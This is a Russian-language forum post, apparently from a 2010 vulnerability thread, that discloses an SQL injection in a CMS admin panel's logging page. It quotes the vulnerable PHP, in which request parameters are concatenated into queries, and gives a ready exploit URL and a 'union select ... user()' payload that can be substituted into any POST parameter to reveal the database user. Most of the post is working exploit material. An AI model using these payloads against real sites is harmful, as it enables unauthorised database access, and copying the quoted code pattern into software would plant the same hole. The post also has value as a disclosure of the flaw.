Показать сообщение отдельно

  #3  
Старый 18.01.2010, 17:48
[NiGHT]DarkAngel
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
С нами: 11114426

Репутация: 129
По умолчанию

8)SQL-injection
Условия: Доступ в панель администрирования
Код:
 http://host/manager/index.php?int_cur_position=100%20union%20select%201,2,3,4,5,6,7,user%28%29/*&a=13&searchuser=&action=0&itemid=0&itemname&message=&dateto=&datefrom=&nrresults=100&log_submit=Search
Уязвимый код logging.static.action.php:

PHP код:
// If current position is not set, set it to zero
 
if( !isset( $_REQUEST['int_cur_position'] ) || $_REQUEST['int_cur_position'] == 0 )
{   
$int_cur_position = 0; 
} 
else 
{  
 
$int_cur_position = $_REQUEST['int_cur_position'];
}
....
$sql .= " LIMIT ".$int_cur_position.", ".$int_num_result;
$rs = mysql_query($sql);
$limit = mysql_num_rows($rs); 
Чуть выше в этом же файле есть такие строчки:

PHP код:
if($_REQUEST['selecteduser']!=0) $sqladd .= " AND internalKey=".$_REQUEST['selecteduser'];
if(
$_REQUEST['action']!=0) $sqladd .= " AND action=".$_REQUEST['action'];
if(
$_REQUEST['itemid']!=0 || $_REQUEST['itemid']=="-") $sqladd .= " AND itemid='".$_REQUEST['itemid']."'"; 
if(
$_REQUEST['itemname']) $sqladd .= " AND itemname='".$_REQUEST['itemname']."'"; 
if(
$_REQUEST['message']!="") $sqladd .= " AND message LIKE '%".$_REQUEST['message']."%'"; 
// date stuff 
if($_REQUEST['datefrom']!="") $sqladd .= " AND timestamp>=".$_REQUEST['datefrom']; 
if(
$_REQUEST['dateto']!="") $sqladd .= " AND timestamp<=" . ($_REQUEST['dateto'] + (24*60*60-1)); 
if(
$_REQUEST['datesortdir'] != '') $sqladd .= " ORDER BY timestamp " . $_REQUEST['datesortdir']; 
// Get  number of rows 
$sql = "SELECT count(id) FROM $dbase.".$table_prefix."manager_log WHERE 1=1"; 
$sql .= $sqladd;
$rs=mysql_query($sql);
$countrows = mysql_fetch_assoc($rs); 
Все параметры уязвимы ... для реализации sql-injection подменяем любой из параметров в POST запросе на
Код:
1 union select 1,2,3,4,5,6,7,user()/*
И в конце странницы видим пользователя mysql

Последний раз редактировалось [NiGHT]DarkAngel; 24.01.2010 в 17:25..
 
Ответить с цитированием